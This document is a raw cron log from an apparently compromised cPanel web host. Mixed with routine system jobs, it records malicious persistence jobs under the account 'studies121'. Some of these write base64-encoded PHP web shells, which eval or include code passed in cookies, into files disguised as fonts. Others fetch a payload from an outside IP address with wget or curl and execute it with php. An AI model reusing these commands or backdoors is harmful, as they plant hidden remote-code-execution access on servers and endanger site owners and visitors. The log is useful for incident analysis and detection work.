Sep  9 18:17:01 ip-184-168-122-23 CROND[27135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:17:01 ip-184-168-122-23 CROND[27137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:17:01 ip-184-168-122-23 CROND[27139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:17:01 ip-184-168-122-23 CROND[27141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:18:01 ip-184-168-122-23 CROND[27244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:18:01 ip-184-168-122-23 CROND[27245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:18:01 ip-184-168-122-23 CROND[27247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:18:01 ip-184-168-122-23 CROND[27249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:18:01 ip-184-168-122-23 CROND[27250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:19:01 ip-184-168-122-23 CROND[27390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:19:01 ip-184-168-122-23 CROND[27392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:19:01 ip-184-168-122-23 CROND[27394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:19:01 ip-184-168-122-23 CROND[27393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:20:01 ip-184-168-122-23 CROND[27498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:20:01 ip-184-168-122-23 CROND[27497]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:20:01 ip-184-168-122-23 CROND[27501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:20:01 ip-184-168-122-23 CROND[27506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:20:01 ip-184-168-122-23 CROND[27504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:20:01 ip-184-168-122-23 CROND[27507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:20:01 ip-184-168-122-23 CROND[27505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:20:01 ip-184-168-122-23 CROND[27510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:20:01 ip-184-168-122-23 CROND[27511]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 18:21:01 ip-184-168-122-23 CROND[27675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:21:01 ip-184-168-122-23 CROND[27677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:21:01 ip-184-168-122-23 CROND[27678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:21:01 ip-184-168-122-23 CROND[27679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:22:01 ip-184-168-122-23 CROND[27753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:22:01 ip-184-168-122-23 CROND[27757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:22:01 ip-184-168-122-23 CROND[27755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:22:01 ip-184-168-122-23 CROND[27758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:22:01 ip-184-168-122-23 CROND[27756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:23:01 ip-184-168-122-23 CROND[27837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:23:01 ip-184-168-122-23 CROND[27839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:23:01 ip-184-168-122-23 CROND[27840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:23:01 ip-184-168-122-23 CROND[27841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:24:01 ip-184-168-122-23 CROND[27919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:24:01 ip-184-168-122-23 CROND[27921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:24:01 ip-184-168-122-23 CROND[27923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:24:01 ip-184-168-122-23 CROND[27925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:24:01 ip-184-168-122-23 CROND[27924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:25:01 ip-184-168-122-23 CROND[28060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:25:01 ip-184-168-122-23 CROND[28063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:25:01 ip-184-168-122-23 CROND[28062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:25:01 ip-184-168-122-23 CROND[28061]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 18:25:01 ip-184-168-122-23 CROND[28067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:25:01 ip-184-168-122-23 CROND[28065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:25:01 ip-184-168-122-23 CROND[28066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:26:01 ip-184-168-122-23 CROND[28249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:26:01 ip-184-168-122-23 CROND[28252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:26:01 ip-184-168-122-23 CROND[28251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:26:01 ip-184-168-122-23 CROND[28254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:26:01 ip-184-168-122-23 CROND[28253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:27:01 ip-184-168-122-23 CROND[28339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:27:01 ip-184-168-122-23 CROND[28341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:27:01 ip-184-168-122-23 CROND[28342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:27:01 ip-184-168-122-23 CROND[28344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:28:01 ip-184-168-122-23 CROND[28425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:28:01 ip-184-168-122-23 CROND[28426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:28:01 ip-184-168-122-23 CROND[28429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:28:01 ip-184-168-122-23 CROND[28430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:28:01 ip-184-168-122-23 CROND[28431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:29:01 ip-184-168-122-23 CROND[28509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
